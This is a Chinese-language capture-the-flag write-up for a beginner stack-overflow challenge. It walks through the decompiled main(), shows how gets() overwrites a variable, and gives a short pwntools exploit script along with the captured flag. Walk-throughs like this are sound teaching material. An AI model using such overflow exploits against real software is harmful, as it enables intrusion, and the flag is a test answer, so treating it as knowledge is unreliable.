CTF最简单的入门题(栈溢出)

题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1

题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办?

解题过程:

1、首先将附件下载并上传到linux系统里面

2、使用checksec检测附件里的可执行文件开启的各种安全机制

3、再用file命令看一下程序是什么文件类型

4、然后把文件拖到IDA里面,按F5,看一下main函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  char v4; // [rsp+0h] [rbp-20h]
  unsigned int v5; // [rsp+8h] [rbp-18h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("What's Your Birth?");
  __isoc99_scanf("%d", &v5);
  while ( getchar() != 10 )
    ;
  if ( v5 == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets(&v4);
    printf("You Are Born In %d\n", v5);
    if ( v5 == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");                            
    }
    else
    {
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
    result = 0LL;
  }
  return result;
}

5、分析如下,如果想要执行第29行 system("cat flag");代码,那么要让v5 = 1926,可是如果第一次输入1926的话,就会直接跳过cat flag,那么就可以使用栈溢出,溢出点就在gets(&v4)函数,因为它没有对v4进行任何检查,在输入v4的时候通过栈溢出覆盖v5的值,让v5 = 1926,然后就可以cat flag了

6、查看栈区,发现v4到v5差0x20-0x18个字节

7、写exp

#调用pwntools库
from pwn import *    

#地址和端口是在题目网址里点击获取在线场景得到的,地址可以是ip也可以是url
#remote用来建立远程链接
p = remote("220.249.52.133",30462)    

#当程序输出What's Your Birth?之后,发送2333
p.sendlineafter("What's Your Birth?","2333")

#'a'*8代表把0x20到0x19的栈区都覆盖‘a',再覆盖一个64位的1926,就成功覆盖了0x18,也就是v5
#因为当前二进制可执行程序是64位的,所以要用p64
payload = 'a'*8+p64(1926)

#当程序输出What's Your Name?之后,发送payload
p.sendlineafter("What's Your Name?",payload)

#与当前程序进行交互,将控制权交给用户,这样就可以使用打开的shell了
p.interactive()

8、运行效果

  • 这样就已经拿到flag(夺旗)

cyberpeace{95759a50c29f40a0302a4fb5a394dd6c}

  • 文章中若有错误之处,请大佬在评论区回复我
Last modification:November 26th, 2020 at 10:05 pm